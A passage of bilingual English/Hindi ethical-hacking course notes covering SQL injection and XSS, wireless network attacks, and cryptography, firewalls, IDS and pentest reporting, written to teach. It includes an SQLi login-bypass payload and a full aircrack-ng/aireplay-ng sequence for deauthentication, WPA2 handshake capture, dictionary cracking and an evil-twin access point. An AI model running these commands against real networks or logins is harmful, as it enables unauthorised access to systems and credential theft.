Blind – Boolean	True/false responses से data bit by bit।
Blind – Time-based	Response delay से info reveal।
Out-of-band	Data DNS/HTTP से attacker को।
Second-order	Payload store होकर बाद में execute।

B. XSS types:

Type	Payload कहाँ	Persists?
Reflected	URL / request → response	नहीं
Stored	Database → सब visitors को page	हाँ
DOM-based	Client-side JS sinks (innerHTML)	नहीं (DOM में)
Mutation XSS (mXSS)	Browser HTML re-parse के बाद	Varies

C. Defences: Parameterized queries / prepared statements, stored procedures, input validation, least-privilege DB accounts, output encoding, HTML sanitisation (DOMPurify), Content Security Policy (CSP), HttpOnly cookies।

लाभ (attacker perspective):
- SQLi पूरी database dump कर सकता है।
- Authentication आसानी से bypass।
- Remote code execution तक (xp_cmdshell, INTO OUTFILE)।
- XSS cookies, sessions, credentials चुराता है।
- Stored XSS हर visitor तक फैलता है।
- Automated tools से ढूँढना आसान।
नुकसान (attacker perspective):
- WAFs common SQLi/XSS payloads block।
- Modern ORMs default में prepared statements।
- CSP inline scripts block।
- HttpOnly cookies cookie theft रोकते हैं।
- Output encoding payloads neutralise।
- Input validation malicious characters reject।
विशेषताएँ:
- Root cause: Untrusted data code के साथ मिली।
- Fix: Data और code अलग करें (parameterize / encode)।
- Layered defence: Validation + parameterization + encoding + CSP।
- SQLi server-side: Database victim है।
- XSS client-side: दूसरे users के browsers victim हैं।

आरेख: SQLi और XSS flows

    SQL Injection:

      User input  ──▶ App (concatenate) ──▶ DB
      "admin' OR 1=1--" ──▶ SELECT ... WHERE name='admin' OR 1=1--'
                              │
                              ▼
                        सभी rows return → login bypass

    XSS:

      Attacker  ──▶ Payload store ──▶ Server DB
                                          │
                                          ▼
      Victim browser ─── page load ───▶ JS execute
                                          │
                                          ▼
                         Cookie / session exfiltrate

    Defence mapping:

      SQLi → parameterized queries + least privilege DB
      XSS  → output encoding + sanitisation + CSP

निष्कर्ष: SQLi और XSS top vulnerabilities में बने हुए हैं क्योंकि ये introduce करना आसान और exploit करना devastating हैं। दोनों untrusted data को code के साथ मिलाने से आते हैं। Fix conceptually simple है: data को code से अलग करें। SQLi के लिए parameterized queries, least-privilege DB users और validation। XSS के लिए context के हिसाब से output-encode, HTML sanitise, CSP use, HttpOnly cookies set। Testers के लिए ये हर web application assessment की पहली चीज़ें हैं; sqlmap और Burp Suite standard हैं।
अभ्यास:
1. DVWA या Juice Shop में SQLi से login bypass demonstrate कीजिए।
2. UNION-based SQLi से data extract करके column matching समझाइए।
3. Blind time-based SQLi का असली payload के साथ वर्णन कीजिए।
4. Reflected XSS demonstrate करके output encoding से रोकना दिखाइए।
5. CSP rules design कीजिए जो inline scripts block करें।

15. Wireless Network Hacking

English

Problem: Wireless networks broadcast data through the air. Anyone within range can capture the signal, and if encryption is weak or misconfigured, attackers can decrypt traffic, join the network, or set up rogue access points to trick users. Wi-Fi is often the easiest entry point into a corporate network because it extends beyond the building's walls.
Definition: Wireless hacking is the exploitation of weaknesses in Wi-Fi networks (802.11 standards). It covers encryption attacks (WEP, WPA, WPA2, WPA3), handshake capture and cracking, rogue access points, evil twins, deauthentication attacks, and wireless reconnaissance.

Example: Common Wi-Fi attacks:

# Put card in monitor mode
airmon-ng start wlan0

# Discover networks
airodump-ng wlan0mon

# Capture WPA2 handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon

# Deauth to force a new handshake (authorised)
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack with dictionary
aircrack-ng -w rockyou.txt cap-01.cap

# Evil twin AP
hostapd-mana evil-twin.conf
# Users connect to a fake "Free WiFi" with the same SSID

Types:

A. Encryption and their status:

Standard	Status	Weakness
Open	No protection	Everything readable
WEP	Broken	RC4 + IV reuse; cracked in minutes
WPA (TKIP)	Deprecated	Weak; crackable via handshake
WPA2 (CCMP/AES)	Good if strong PSK	Vulnerable to weak passwords, KRACK
WPA3 (SAE)	Recommended	Resists offline dictionary; still evolving

B. Attack types: Handshake capture & offline crack, PMKID attack, deauthentication, evil twin, rogue AP, captive portal phishing, WPS PIN brute force, KRACK, downgrade attacks.

C. Tools: Aircrack-ng suite, Kismet, Wifite, Reaver, hashcat, bettercap, Wireshark, hcxdumptool, hostapd-wpe.

Advantages (attacker perspective):
- No physical access needed (range is enough).
- Weak encryption easily defeated.
- Evil twin tricks users into connecting.
- Captured handshake can be cracked offline.
- WPS PIN attacks are quick.
- Rogue APs bypass perimeter firewalls.
Disadvantages (attacker perspective):
- WPA3 with strong PSK resists cracking.
- 802.1X/EAP requires enterprise credentials.
- WIPS and monitoring detect rogue APs.
- Range and signal strength limit attacks.
- Strong password policy defeats dictionary attacks.
- Certificate validation blocks evil twin in enterprises.
Characteristics:
- Broadcast medium: Frames visible to all in range.
- Handshake-based: WPA/WPA2 crack uses 4-way handshake.
- Offline cracking: Once handshake captured, no target needed.
- Deauth is unauthenticated: 802.11 management frames unsigned in WPA2.
- WPA3 fixes: SAE resists offline dictionary and deauth is protected (PMF).

Diagram: WPA2 handshake capture and crack

    1. Recon
       airodump-ng wlan0mon   → sees SSID, BSSID, channel

    2. Capture handshake
       airodump-ng -c 6 --bssid  -w cap wlan0mon
       aireplay-ng --deauth 5  → force client to re-auth
       → cap-01.cap contains 4-way handshake

    3. Offline crack
       aircrack-ng -w rockyou.txt cap-01.cap
       → PSK recovered (if weak)

    Defences:

      WPA3-SAE     → resists offline dictionary
      PMF (802.11w)→ protects management frames
      802.1X/EAP   → enterprise credentials
      Long PSK     → dictionary useless
      WIPS         → detects rogue AP / deauth

Conclusion: Wireless networks extend the attack surface beyond the building. WEP is broken, WPA is deprecated, and WPA2 with a weak PSK falls to a captured handshake and a dictionary. WPA3 with SAE and PMF is the modern answer; enterprise environments should use 802.1X/EAP with certificate validation. Defenders monitor for rogue APs, deauth floods, and unusual handshake patterns. For testers, wireless assessments require authorised hardware, scope awareness, and careful handling of any credentials captured during the engagement.
Exercise:
1. Put a wireless card in monitor mode and enumerate nearby networks.
2. Capture a WPA2 handshake in a lab and crack it with a small wordlist.
3. Explain why WPA3-SAE resists offline dictionary attacks.
4. Describe an evil twin attack and how enterprise certs prevent it.
5. List three wireless IDS/IPS features that detect rogue APs.

हिंदी (सरल)

समस्या: Wireless networks data हवा में broadcast करते हैं। Range में कोई भी signal capture कर सकता है, और अगर encryption weak या misconfigured हो, attackers traffic decrypt, network join, या rogue access points से users को फँसा सकते हैं। Wi-Fi अक्सर corporate network में सबसे आसान entry point है क्योंकि यह building की दीवारों के बाहर तक फैला होता है।
परिभाषा: Wireless hacking Wi-Fi networks (802.11 standards) की weaknesses का exploitation है। इसमें encryption attacks (WEP, WPA, WPA2, WPA3), handshake capture और cracking, rogue access points, evil twins, deauthentication attacks और wireless reconnaissance शामिल हैं।

उदाहरण: Common Wi-Fi attacks:

# Card monitor mode में
airmon-ng start wlan0

# Networks discover
airodump-ng wlan0mon

# WPA2 handshake capture
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon

# Deauth से नया handshake force (authorised)
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Dictionary से crack
aircrack-ng -w rockyou.txt cap-01.cap

# Evil twin AP
hostapd-mana evil-twin.conf
# Users "Free WiFi" नाम के fake से connect करें

प्रकार:

A. Encryptions और status:

Standard	Status	Weakness
Open	कोई protection नहीं	सब कुछ readable
WEP	Broken	RC4 + IV reuse; मिनटों में crack
WPA (TKIP)	Deprecated	Weak; handshake से crackable
WPA2 (CCMP/AES)	Strong PSK के साथ अच्छा	Weak passwords, KRACK से vulnerable
WPA3 (SAE)	Recommended	Offline dictionary resist; evolving

B. Attack types: Handshake capture & offline crack, PMKID attack, deauthentication, evil twin, rogue AP, captive portal phishing, WPS PIN brute force, KRACK, downgrade attacks।

C. Tools: Aircrack-ng suite, Kismet, Wifite, Reaver, hashcat, bettercap, Wireshark, hcxdumptool, hostapd-wpe।

लाभ (attacker perspective):
- Physical access नहीं चाहिए (range काफी)।
- Weak encryption आसानी से defeat।
- Evil twin users को connect कराता है।
- Captured handshake offline crack।
- WPS PIN attacks तेज़।
- Rogue APs perimeter firewalls bypass।
नुकसान (attacker perspective):
- WPA3 strong PSK के साथ cracking resist।
- 802.1X/EAP enterprise credentials माँगता है।
- WIPS और monitoring rogue APs detect।
- Range और signal strength attacks limit।
- Strong password policy dictionary attacks defeat।
- Certificate validation enterprises में evil twin block।
विशेषताएँ:
- Broadcast medium: Frames range में सबको दिखते हैं।
- Handshake-based: WPA/WPA2 crack 4-way handshake use।
- Offline cracking: Handshake मिला तो target की ज़रूरत नहीं।
- Deauth unauthenticated: WPA2 में management frames unsigned।
- WPA3 fixes: SAE offline dictionary resist, deauth protected (PMF)।

आरेख: WPA2 handshake capture और crack

    1. Recon
       airodump-ng wlan0mon   → SSID, BSSID, channel

    2. Handshake capture
       airodump-ng -c 6 --bssid  -w cap wlan0mon
       aireplay-ng --deauth 5  → client re-auth force
       → cap-01.cap में 4-way handshake

    3. Offline crack
       aircrack-ng -w rockyou.txt cap-01.cap
       → PSK recovered (अगर weak)

    Defences:

      WPA3-SAE     → offline dictionary resist
      PMF (802.11w)→ management frames protect
      802.1X/EAP   → enterprise credentials
      Long PSK     → dictionary useless
      WIPS         → rogue AP / deauth detect

निष्कर्ष: Wireless networks attack surface को building के बाहर extend करते हैं। WEP broken है, WPA deprecated, और WPA2 weak PSK के साथ captured handshake और dictionary से गिर जाता है। WPA3 SAE और PMF के साथ आधुनिक जवाब है; enterprises को 802.1X/EAP certificate validation के साथ use करना चाहिए। Defenders rogue APs, deauth floods और unusual handshake patterns monitor करते हैं। Testers के लिए wireless assessments को authorised hardware, scope awareness और engagement में captured credentials की careful handling चाहिए।
अभ्यास:
1. Wireless card monitor mode में डालकर nearby networks enumerate कीजिए।
2. Lab में WPA2 handshake capture करके छोटी wordlist से crack कीजिए।
3. WPA3-SAE offline dictionary क्यों resist करता है समझाइए।
4. Evil twin attack describe कीजिए और enterprise certs कैसे रोकते हैं।
5. तीन wireless IDS/IPS features list कीजिए जो rogue APs detect करती हैं।

16. Cryptography, IDS, Firewalls & Reporting

English

Problem: Ethical hacking has an offensive side (attacks) and a defensive side (controls). Cryptography protects data in transit and at rest; firewalls and IDS/IPS protect the perimeter and detect intrusions. Every engagement ends with a report that turns technical findings into business decisions. Without cryptography, firewalls, IDS and clear reporting, discoveries stay theoretical.
Definition: This topic combines four related areas:
- Cryptography: Symmetric (AES), asymmetric (RSA, ECC), hashing (SHA-2/3, bcrypt), PKI, TLS, digital signatures.
- Firewalls: Packet filter, stateful, application (WAF), NGFW.
- IDS/IPS: Signature and anomaly-based detection; host vs network.
- Reporting: Executive summary, technical findings, risk rating, evidence, and remediation plan.

Example: Cryptographic and detection principles:

# Symmetric
AES-256-GCM, ChaCha20-Poly1305

# Asymmetric
RSA-2048/4096, ECDSA P-256, Ed25519

# Hashing
SHA-256, SHA-3, bcrypt, Argon2, scrypt

# Digital signature and TLS
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
openssl s_client -connect target:443 -tls1_3

# Firewall (iptables)
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j DROP

# IDS (Suricata / Snort rule)
alert tcp any any -> $HOME_NET 22 (msg:"SSH brute"; flow:to_server;
    threshold:type both, track by_src, count 10, seconds 60;
    sid:1000001; rev:1;)

# Honeypot
cowrie (SSH), dionaea (multiple)

Types:

A. Cryptography:

Type	Examples	Use
Symmetric	AES, ChaCha20	Fast bulk encryption
Asymmetric	RSA, ECC, Ed25519	Key exchange, signatures
Hashing	SHA-2/3, Argon2	Integrity, password storage
MAC / HMAC	HMAC-SHA256	Authenticated integrity
PKI	X.509, CAs	Trust for TLS, code signing

B. Firewalls: Packet filter, stateful inspection, proxy, WAF, NGFW (with DPI, IPS, sandbox).

C. IDS/IPS types: Network-based (NIDS), Host-based (HIDS); detection by signature vs anomaly; IPS blocks, IDS alerts.

D. Report sections: Executive summary, scope, methodology, findings by risk, evidence, remediation, appendix.

Advantages:
- Cryptography protects confidentiality, integrity, authenticity.
- Firewalls reduce attack surface; NGFW adds deep inspection.
- IDS/IPS provide visibility into attacks in progress.
- Honeypots detect and study attackers.
- Reports translate technical findings into business action.
- Enables compliance, audit, and measurable improvement.
Disadvantages:
- Weak crypto (MD5, SHA-1, RC4) is worse than nothing.
- Firewalls cannot stop attacks on allowed ports.
- IDS false positives create alert fatigue.
- IPS false positives block legitimate traffic.
- Reporting is time-consuming; poor reports waste engagement value.
- Attackers increasingly use encryption, complicating detection.
Characteristics:
- Defence in depth: Crypto + firewalls + IDS + endpoint + response.
- Fail-safe crypto: No home-grown algorithms; standard, vetted ones.
- Detection vs prevention: IDS detects, IPS prevents; you need both.
- Evidence for compliance: Logs, alerts, and reports.
- Report audience: Executives want risk; engineers want proof.

Diagram: Layered defence and report structure

    Layered defence:

      ┌──────────────────────────────────┐
      │ Edge    → DDoS scrubbing, CDN    │
      ├──────────────────────────────────┤
      │ Network → Firewall, IDS/IPS      │
      ├──────────────────────────────────┤
      │ Host    → HIDS, EDR, hardening   │
      ├──────────────────────────────────┤
      │ App     → WAF, secure coding, CSP│
      ├──────────────────────────────────┤
      │ Data    → TLS, AES, hashing, KMS │
      └──────────────────────────────────┘

    Report structure:

      1. Executive summary (1 page)
      2. Scope and rules of engagement
      3. Methodology (PTES / OWASP)
      4. Findings (Critical → Low)
         - Description, evidence, impact, CVSS
         - Remediation, references
      5. Conclusion and next steps
      6. Appendix (tools, raw output)

Conclusion: Ethical hacking is complete only when offensive findings are coupled with defensive understanding and clear communication. Cryptography provides the confidentiality and integrity guarantees; firewalls and IDS/IPS provide the visibility and controls; the report converts them into action. A great report speaks to both executives (risk, priorities) and engineers (evidence, remediation). For testers, knowing how defenders use crypto, firewalls and IDS turns every finding into a stronger recommendation. This alignment — red and blue working together — is what makes security programmes effective.
Exercise:
1. Compare symmetric and asymmetric cryptography with examples.
2. Explain why MD5 and SHA-1 must not be used for security.
3. List three differences between packet filter, stateful, and NGFW firewalls.
4. Write a Snort/Suricata rule to detect SSH brute force.
5. Write an executive summary for a fictional pentest finding at CVSS 9.1.

हिंदी (सरल)

समस्या: Ethical hacking का एक offensive पक्ष (attacks) और एक defensive पक्ष (controls) है। Cryptography data को transit और rest में protect करती है; firewalls और IDS/IPS perimeter protect और intrusions detect करते हैं। हर engagement एक report पर खत्म होता है जो technical findings को business decisions में बदलती है। इनके बिना discoveries theoretical रह जाती हैं।
परिभाषा: यह topic चार related areas combine करता है:
- Cryptography: Symmetric (AES), asymmetric (RSA, ECC), hashing (SHA-2/3, bcrypt), PKI, TLS, digital signatures।
- Firewalls: Packet filter, stateful, application (WAF), NGFW।
- IDS/IPS: Signature और anomaly-based detection; host vs network।।
- Reporting: Executive summary, technical findings, risk rating, evidence, remediation plan।

उदाहरण: Cryptographic और detection principles:

# Symmetric
AES-256-GCM, ChaCha20-Poly1305

# Asymmetric
RSA-2048/4096, ECDSA P-256, Ed25519

# Hashing
SHA-256, SHA-3, bcrypt, Argon2, scrypt

# Digital signature और TLS
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
openssl s_client -connect target:443 -tls1_3

# Firewall (iptables)
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j DROP

# IDS (Suricata / Snort rule)
alert tcp any any -> $HOME_NET 22 (msg:"SSH brute"; flow:to_server;
    threshold:type both, track by_src, count 10, seconds 60;
    sid:1000001; rev:1;)

# Honeypot
cowrie (SSH), dionaea (multiple)

प्रकार:

A. Cryptography:

Type	Examples	Use
Symmetric	AES, ChaCha20	Fast bulk encryption
Asymmetric	RSA, ECC, Ed25519	Key exchange, signatures
Hashing	SHA-2/3, Argon2	Integrity, password storage
MAC / HMAC	HMAC-SHA256	Authenticated integrity
PKI	X.509, CAs	TLS, code signing के लिए trust

B. Firewalls: Packet filter, stateful inspection, proxy, WAF, NGFW (DPI, IPS, sandbox के साथ)।

C. IDS/IPS types: Network-based (NIDS), Host-based (HIDS); signature vs anomaly; IPS blocks, IDS alerts।

D. Report sections: Executive summary, scope, methodology, risk के अनुसार findings, evidence, remediation, appendix।

लाभ:
- Cryptography confidentiality, integrity, authenticity protect।
- Firewalls attack surface घटाते हैं; NGFW deep inspection।
- IDS/IPS attacks in progress visibility।
- Honeypots attackers detect और study।
- Reports technical findings को business action में।
- Compliance, audit, measurable improvement।
नुकसान:
- Weak crypto (MD5, SHA-1, RC4) कुछ न होने से बदतर।
- Firewalls allowed ports पर attacks नहीं रोकते।
- IDS false positives alert fatigue।
- IPS false positives legitimate traffic block।
- Reporting time-consuming; खराब reports engagement value बर्बाद।
- Attackers encryption use कर रहे हैं, detection जटिल।
विशेषताएँ:
- Defence in depth: Crypto + firewalls + IDS + endpoint + response।।
- Fail-safe crypto: Standard, vetted algorithms, home-grown नहीं।
- Detection vs prevention: IDS detects, IPS prevents; दोनों चाहिए।।
- Evidence for compliance: Logs, alerts, reports।
- Report audience: Executives को risk; engineers को proof।

आरेख: Layered defence और report structure

    Layered defence:

      ┌──────────────────────────────────┐
      │ Edge    → DDoS scrubbing, CDN    │
      ├──────────────────────────────────┤
      │ Network → Firewall, IDS/IPS      │
      ├──────────────────────────────────┤
      │ Host    → HIDS, EDR, hardening   │
      ├──────────────────────────────────┤
      │ App     → WAF, secure coding, CSP│
      ├──────────────────────────────────┤
      │ Data    → TLS, AES, hashing, KMS │
      └──────────────────────────────────┘

    Report structure:

      1. Executive summary (1 page)
      2. Scope और rules of engagement
      3. Methodology (PTES / OWASP)
      4. Findings (Critical → Low)
         - Description, evidence, impact, CVSS
         - Remediation, references
      5. Conclusion और next steps
      6. Appendix (tools, raw output)

निष्कर्ष: Ethical hacking तभी complete है जब offensive findings defensive understanding और clear communication के साथ जुड़ें। Cryptography confidentiality और integrity guarantees देती है; firewalls और IDS/IPS visibility और controls; report इन्हें action में बदलती है। अच्छी report executives (risk, priorities) और engineers (evidence, remediation) दोनों से बात करती है। Testers के लिए, defenders crypto, firewalls और IDS कैसे use करते हैं यह जानना हर finding को stronger recommendation में बदल देता है। यह alignment — red और blue का साथ — security programmes को effective बनाता है।
अभ्यास:
1. Symmetric और asymmetric cryptography उदाहरणों के साथ compare कीजिए।
2. MD5 और SHA-1 security के लिए क्यों use नहीं होने चाहिए समझाइए।
3. Packet filter, stateful और NGFW firewalls के तीन फर्क list कीजिए।
4. SSH brute force detect करने वाला Snort/Suricata rule लिखिए।
5. CVSS 9.1 वाले fictional pentest finding के लिए executive summary लिखिए।

Ethical Hacking – Complete Notes

Ethical Hacking – Complete Topics

1. Introduction to Ethical Hacking

English

हिंदी (सरल)

2. Hacking Phases & Penetration Testing Methodology

English

हिंदी (सरल)

3. Footprinting & Reconnaissance

English

हिंदी (सरल)

4. Scanning Networks

English

हिंदी (सरल)

5. Enumeration

English

हिंदी (सरल)

6. Vulnerability Analysis

English

हिंदी (सरल)

7. System Hacking

English

हिंदी (सरल)

8. Malware – Viruses, Worms, Trojans, Ransomware

English

हिंदी (सरल)

9. Sniffing & Spoofing

English

हिंदी (सरल)

10. Social Engineering

English

हिंदी (सरल)

11. Denial of Service (DoS / DDoS)

English

हिंदी (सरल)

12. Session Hijacking

English

हिंदी (सरल)

13. Web Server & Web Application Hacking

English

हिंदी (सरल)

14. SQL Injection & Cross-Site Scripting (XSS)

English

हिंदी (सरल)

15. Wireless Network Hacking

English

हिंदी (सरल)

16. Cryptography, IDS, Firewalls & Reporting

English

हिंदी (सरल)